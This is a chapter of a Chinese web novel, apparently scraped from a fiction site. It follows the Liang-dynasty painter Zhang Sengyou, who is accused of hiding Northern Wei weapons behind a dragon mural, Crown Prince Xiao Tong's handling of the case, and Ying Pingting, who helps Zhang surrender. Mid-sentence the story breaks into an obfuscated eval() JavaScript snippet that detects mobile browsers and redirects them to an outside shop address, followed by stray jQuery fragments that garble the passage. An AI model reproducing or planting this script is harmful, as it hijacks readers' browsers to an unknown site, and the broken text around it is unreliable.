文趣网 > 其他小说 > 画龙点睛·在下张僧繇 > 1. 第1章
    书|画龙点睛·成为张僧繇

    著|宿念执念·20260809

    *

    此时,恰逢皇太子萧统在玄圃之内,听山水清音,免去丝竹。

    左内侍魏雅来报:“主子,六殿下来了。”

    这句话才刚刚落音,就有右内侍鲍邈之后一步到,一脸晦气地添油加醋:“……不好了,张僧繇跑了,那个诅咒圣上‘龙驭归天’的画师,张僧繇他跑了!!”

    “放肆!”萧统朝鲍邈之一指,“你明知父皇最忌讳诅咒之说,怎么还敢信口胡言?”

    “小的不敢造谣。”鲍邈之绘声绘色地描述起来,“现在,大街小巷都传遍了,说是:张僧繇天天画没有眼睛的龙,目中无君,居心叵测;直到六殿下亲自为龙点睛,才识别出了那画师的真面目来。”

    萧统问:“你是说,张僧繇没有给龙点睛,倒是本王的六弟萧纶给添了一笔?”

    “六殿下原本是想点睛的,但是那一笔下去可不得了了。”

    鲍邈之直接跳了起来,模仿点睛的动作,然后双手猛地往前一推,“轰隆一声——!!墙倒了,好在是寺庙没倒!老百姓们呐,就跟是水沸以后的馄饨似的,以纷纭成了劫灰的墙垣为中心,都把自己撩到锅的四周去了。”

    萧统蹙眉,负手站立在善泉池边。

    ——龙没飞的无影无踪,倒是墙体瞬间幻灭了?

    ——这以后,画师张僧繇逃了,六皇子萧纶来请见本王了?

    鲍邈之话不肯停,手舞足蹈,就跟是一只灰色的、叽叽喳喳的麻雀一般,忘乎身份,扰主清静。

    萧统忍无可忍:“鲍内监,你语无伦次,到底想说什么?”

    鲍邈之便是越发离谱起来:

    “墙倒了,露出了大量北魏款的兵器‘短箭石’来,也不知道那张僧繇勾结了谁,竟敢助贼攻梁、囤积兵器来反了圣上!”

    “小的心里庆幸呐。要是这藏在龙墙夹层里的东西是黄金,外头还不得说:圣上数次让官僚们筹备重金,将他从同泰寺赎回,可不是给寺庙广种善款福田。这实际上,那些黄金还是归了圣上本人操控和享受,悉数隐匿在墙内?”

    “鲍内监,你这是对圣上的大不敬!”魏雅道。

    “人言可畏。”鲍邈之继续发挥,“就怕是圣上没有做过,人云亦云,就变成圣上真的昏庸至此了。到时候,北魏打出旗号来,要讨伐梁国——”

    “够了。”萧统打断,“魏内监,你去叫六殿下过来;鲍内监,你且退下吧!”

    萧统哪里知道?

    这鲍邈之一退下,可不仅仅是离开了太子殿下所属的园子:玄圃,而是立刻去了临贺王府。

    临贺王府的主人是谁?萧正德。

    萧正德是谁?容不下梁帝萧衍立萧统为皇太子、想把“储君之位”占为己有的大奸大恶之人也。

    *

    萧纶上前,于池子边行礼道:“臣弟参见太子殿下。”

    萧统道:“免礼平身,六弟请坐。”

    萧纶就在石桌边坐下,道:

    “长兄,臣弟就直说了。”

    “臣弟在平日里,虽是不务正业的时候多,但也是以梁国和父皇为重的。臣弟听闻张僧繇其人,原本是在他养父顾辉之开设的民间画馆里面画龙,后来不知怎么的,他就往寺庙去了,专门在空白的墙壁上画龙。”

    喝了一口茶,萧纶接着道:

    “起初,只是寺庙的香客们在传,说那些龙逼真,连天上的老鹰看见了,都被吓得立马飞走,就怕那看似不动的龙忽然腾壁而出,翻云覆雨,催折鹰翅。后来,就有富商出了大价钱,让张僧繇给墙壁上的龙着色和点睛,被那画师断然拒绝。”

    “张僧繇说:‘我若着青色,便是矫健的青龙;我若着金色,便是威煌之黄龙;我若着黑色,就是条能断案的神龙。’有百姓就问:‘为何不着红色?红色岂非喜庆之龙?’张僧繇道:‘有道是南方火德,红龙一出,必起祸事,我大业未竟,不能下此笔。’”

    萧统问:“六弟,你可打听清楚了?张僧繇的大业,指的是什么?他谶言的祸事,又是指什么?”

    萧纶稍稍倾身,离萧统颇近:“长兄,话说的太明白,定会遭父皇忌讳。臣弟以为,此事非同小可,所以就先一步去探了张僧繇画的龙。”

    “本王适才听鲍太监说,六弟你尝试给没有眼睛的龙……点睛了,结果——”

    “是啊,结果臣弟吓了一跳!”

    萧纶忽然站起,“臣弟那一笔下去,触发的不是民间传的神乎其神的:龙睁眼,龙即飞。而是:触碰到了龙眼后面那肉眼看不出来的的机关锁眼,叫墙体倒塌了,发现了‘藏匿兵器’的天大秘密!!”

    “现如今,臣弟已经命令人把兵器悉数收缴国库,后续那些兵器该如何处理,臣弟问长兄你来拿主意。”

    “六弟,国库有动静,就等于是父皇知道了。”萧统思忖着,“本王不能僭越。”

    “也是,近来父皇对长兄你的疑心是越发重了。”

    萧纶复一叹,“长兄你跟东宫十学士一同修《文选》,父皇竟然亲自驾临玄圃,指责你:‘太子文以载道,如此聚众修书,是否以为:仅仅凭着书中之理,就足够教化天下人乃至是敌国的北魏之众了?’说的就跟长兄你——抱文为图,没有远见,凡事想当然了一样。”

    萧统对着如镜的池水,心中有所惆怅。

    “六弟,我向来把一己之命跟梁国之命联系在一起,我主张教化为重,绝不是父皇所想的——用思想来控制民众,如此来获得管教之法。我是希望:梁国哪怕是做不到安南御北,至少能够让国内的文士们有盼头,老百姓们愿意行走在国之正道上。”

    “偏偏是二弟萧综,跟父皇断绝关系、投奔北魏以后,先是改名为萧赞,后又接受封爵和娶了元子攸的姐姐为妻。到如今,二弟他还跟元子攸一起筹谋大计,想着铲除尔朱荣。”

    萧统摇头,灰心道:“诛尔朱荣一人易,诛尔朱一族难。”

    “臣弟明白长兄你对二哥的兄弟情分。”萧纶走到萧统身后,“对镜伤孤孪,横琴哭别鹤。”

    萧纶才把萧统劝回石桌边坐下。

    就有一个传使匆匆来报:

    “六殿下,我等功亏一篑,又让张僧繇给跑了。请六殿下意思,是否立刻关闭城门,以防张僧繇窜逃出梁国?”

    “这不妥,城门一旦关闭,各处揣测之言必将沸腾。”萧纶指出,“叫守城门的士兵们如旧值守。但千万叮嘱他们多加留意,别让张僧繇给蒙混过关了。”

    萧统一斟酌,对传使道:“若是张僧繇去官府自首,或是被你们抓到了,切勿逼他伤他,将他带到本王的玄圃来。本王将与六弟一同,当着张僧繇的面,把事件的来龙去脉审问清楚。”

    传使道:“小的明白,小的告退。”

    *

    ——没错,萧统的太子令传达出去之前,六殿下萧纶的人马,依旧在追捕张僧繇。

    当晚,建康某处的茶楼之内,一出戏剧正在上演。

    主角模仿西晋名流“蔡洪”的扮相,站在舞台中央,深挚地说着台词:“……夜光之珠,不必出于孟津之河;盈握之璧,不必采于昆仑之山。”

    而在当地的达官显贵之家,应府府中。

    应国仲听见天上响了几声雷,就叫了夫人姜氏过来,道:“这可真是奇了,无人看见龙飞走,何故降雨?”

    姜氏倒是担心女儿:“老爷,咱们女儿还在外面——”

    应国仲正要叫了家丁过来,让家丁驾了车到茶楼去,把二小姐应娉婷给接回家里来,就有下人火急火燎地进来。

    “小的给老爷给夫人回话,二小姐出演《世说新语》里面的角色‘蔡洪’出演的好,茶楼老板的生意水涨船高,可比说书场子要热闹多了。所以茶楼老板遣了小的过来,给老爷和夫人说声谢:谢二小姐帮衬;谢应大人和应夫人教女有道,行止开明。”

    “等等——”应国仲蹙眉打断,“娉婷出门之前,跟本官和夫人说的是她要去演《世说新语·言语》里面的才女:谢道韫,怎就变成了演《世说新语·赴洛》里面的才子:蔡洪?”

    下人只答道:“千真万确,二小姐是女扮男装出演的蔡洪。”

    “罢了罢了。”姜氏依旧爱女心切,“娉婷演那会把飘雪比作飞舞的柳絮的谢道韫也好,演那出身贫寒但凭借才华平步青云的蔡洪也罢,总归是皇太子萧统有德行。”

    “《世说新语》可是宋国人刘义庆的书,刘宋王朝早亡了!照理说,咱们梁国是不能把《世说新语》里面的故事翻出来演的。但是皇太子注重民间教化,说是《世说新语》里面的人和事:浅显易懂,道理颇深,最宜广普百姓。我跟老爷才没反对娉婷去茶楼演戏剧。”

    “夫人说的是。”应国仲捋须道,“只是本官怎么觉得哪里不对劲?”

    “老爷。”姜氏唤了一声。

    “本官是说,这张僧繇不是一身画才、但没能成为宫廷画师吗?他不是跟那‘明珠蒙尘’的蔡洪一个样?”

    “老爷,您可千万不能提张僧繇。”姜氏谨慎道。

    “妾身听说,张僧繇勾结魏贼、藏匿兵器,到现在还没能被逮捕归案。倒塌的龙墙附近,寺庙的小和尚们打扫现场的时候,竟然找到了一包莲子种子,报官以后,官大人猜测:这是张僧繇给魏贼们留下的线索,预示:楫弃舟空芙蓉枯,今夏荷花盛开之际,必生变故。”

    应国仲不由得浑身一颤:“现在的世道,唉!”

    复指向下人们:“你等速去茶楼,将二小姐带回家里来,莫让二小姐跟张僧繇有所交集才好。”

    *

    天,终于是下起了大雨。

    漆黑一团的黑色之下,张僧繇一路狂奔。

    他的身后,是一群在追捕他的人,一阵高过一阵的“站住,别跑——”的声音,几乎要压过了雨势去。

    踩到水坑凹洼处,张僧繇摔倒在地,双手后撑,抬头,满脸混杂着雨水和泥水的他,看见了围过来的官府卒吏们。

    卒吏头儿居高临下,冷声道:“张僧繇,你别动,老实点——”

    张僧繇喘着气,反而是后挪了几步:“差大人们,我是冤枉的,真的是冤枉的。”

    “你反没反、勾结了谁、想要什么时候反,我等不知道。”卒吏头儿道,“奉皇太子命,带张僧繇——”

    卒吏头儿的话还没说完,张僧繇就误以为:这事惊动了太子殿下,太子殿下要以‘引贼入梁,叛国误国’的大罪,严令拘捕犯人归案问斩!!

    也不知道哪里来的勇气和力气,张僧繇竟然腾地而起,猛地推开了那些包围着自己的卒吏们,再次奔窜于长街之中……

    张僧繇一边跑、一边重复着一句话:“活下去,活下去,活下去才能出人头地。”

    街道的转角处,应家二小姐应娉婷正坐在自家的车驾之内,回往家中。

    张僧繇豁了出去,当

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814859|211011||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    众拦住车驾,大声呼喊:“救命啊,我不想死,我不想被官府不分青红皂白地送上午门,我是冤枉的……”

    应家的车夫原本是不理会的,但是帘室之内,传来了应娉婷的声音:“停车。”

    掀开帘子,应娉婷隔着雨帘,向不远处还没来得及看清楚他的容貌的男子伸出了手。张僧繇亦是毫不犹豫,就搭上了车内人的援手,跳上了车驾。

    用手一抹脸上的水迹,张僧繇道:“公子,后边的卒吏追我追的紧,但我真的是冤枉的,我没有勾结魏贼,我没有想造反。”

    张僧繇一抬手,发誓道:“我要是骗了你,马上就被天雷劈死!!”

    应娉婷只对车夫道:“掉头,去衙门。”

    张僧繇惊道:“公子,我是一身狼狈,是看起来像个犯人,但我什么见不得光的事情都没有做,我真的是清白的。”

    应娉婷道:“你去衙门自首吧。每个月,皇太子萧统都会亲自坐堂断案。你要是清白的,他自会还你公道;你要是被陷害的或是被牵连的,他也自有一双慧眼能断。你要是一直逃,什么时候才能到尽头?”

    张僧繇慌道:“公子,你不相信我吗?”

    “我说过,你要是问心无愧,自会有人还你公道。”应娉婷笃定地,“等到了衙门,你就下车吧!”

    “我,我……”张僧繇欲言又止,却也没有办法,“我只是一个画画的,除此之外,我没得能耐去做危及江山社稷的坏事。”

    “前面就是衙门了,你在外头候着,到了办案时间再击鼓。”应娉婷提醒,“但你记着,”国之事端鸣左鼓,家之事端鸣右鼓,别击错了。”

    衙门前头,车夫“吁——”了一声,拉住缰绳,马车就停了下来。

    在选择面前,张僧繇怀着莫名的心情,只道:“多谢公子救命之恩。”

    “那边就是公堂了,你下车吧。”应娉婷道。

    张僧繇正要掀开车帘子跳下去,应娉婷叫住了他,她从身旁拿出了一把伞,给了他,道:“黑风猛雨,哪怕是站在衙门的屋檐下,也免不了一阵风刮雨打,你拿去用吧。”

    “谢谢啊!”张僧繇心中一暖。

    但是,这位公子心地本善归心地本善,像他那样的钟鸣鼎食之家出生的人,哪里会晓得老百姓们的苦楚呢?

    要是凡事都能在衙门断明白,天底下哪里还有冤假错案?官府之人又何须按照上头的指示来行事?何须沦落为权贵们的附庸?

    张僧繇拿着伞跳下马车,他仰着头,对着年轻公子道:

    “我叫张僧繇,我画龙是为了精益求精磨砺画技。我没有故弄玄虚,把龙眼当成‘机关锁眼’来藏匿兵器,我没有跟任何一个北魏之人接触过。”

    “在将来,我要一洗今耻,堂堂正正地画龙点睛。”

    *

    应府。

    二小姐到家去给爹爹和娘亲请安的时候,已经是快到深夜子时了。

    见应国仲和姜氏坐在客厅里,应娉婷问:“爹爹,娘亲,你俩都还没睡吗?”

    应国仲板着脸道:“娉婷,你可别嫌本官啰嗦,现在南梁北魏纷争不休,谁是梁国的子民,谁是北魏的细作,可不是那么好分辨的。”

    他指着女儿:“你看看你,哪有一点大家闺秀的样子?你这副男儿扮相,是想跟谁称兄道弟?要是今晚在茶楼里看戏剧的人里面,就潜伏着魏贼,见你俊俏,识你机敏,想把你挖了去给北魏做事,你叫本官如何面对圣上?”

    “还有——”

    应国仲用指关节扣了扣桌面,提醒道:

    “那个苦心孤诣、敢在画墙的龙眼处:密做手脚和动歪心思的年轻画师张僧繇,至今还不知道逃窜在何处!万一他真把魏贼引进建康来了,战火一触即发,唉,你这成天往外跑的人,让本官和你娘亲如何放心的下?”

    应娉婷道:“爹爹,女儿只知道:现在北魏皇宫流行鸩杀,已经有许多皇室宗亲死于非命了,他们内斗不休,想必是不会在今夏来攻梁的。”

    “一隅之见。”应国仲摆了摆手。

    “官府已经把寺僧翻寻到的‘莲子种子’送往玄圃了,就是为了告知太子殿下,这是张僧繇逃窜之际掉落之物,意在说明:今夏莲碧,芙裳色异,南梁北魏之间,必有大战!!好让太子殿下进言梁帝,早做御敌准备。”

    “爹爹,”应娉婷的话还没有说完,就有两个家丁先后进来。

    “禀大人,四殿下和四王妃明日晚上到——”

    四殿下,即梁帝萧衍第四子萧绩,南康郡王,是位人人称道的真贤王;四王妃,即应国仲和姜氏的长女应抒蓉,是位有口皆碑的贤妻。

    两人琴瑟和鸣,感情甚好,有子萧会理、萧通理和萧乂理,三人皆是聪慧,是受梁帝萧衍喜爱的皇孙。

    这一回,正是四殿下陪着四王妃回家省亲来了。

    “四哥哥来了——”应娉婷高兴异常。

    “没规矩。”应国仲瞪了女儿一眼,“你要叫姐夫,就像是本官不能直接拿‘贤婿’来称呼萧绩一样,得照着礼数叫‘四殿下’。”

    “四哥哥又不曾怪过我。”

    应娉婷明朗的心情,跟外头下雨的天气,形成了鲜明对比。

    应国仲便是不跟她理论了,只指着第二个家丁问:“你还不快说,外头什么情况?”

    “禀老爷夫人小姐,出大事了。”

    “就在刚刚,子时一过,张僧繇他……他在大半夜击鼓自首了!!”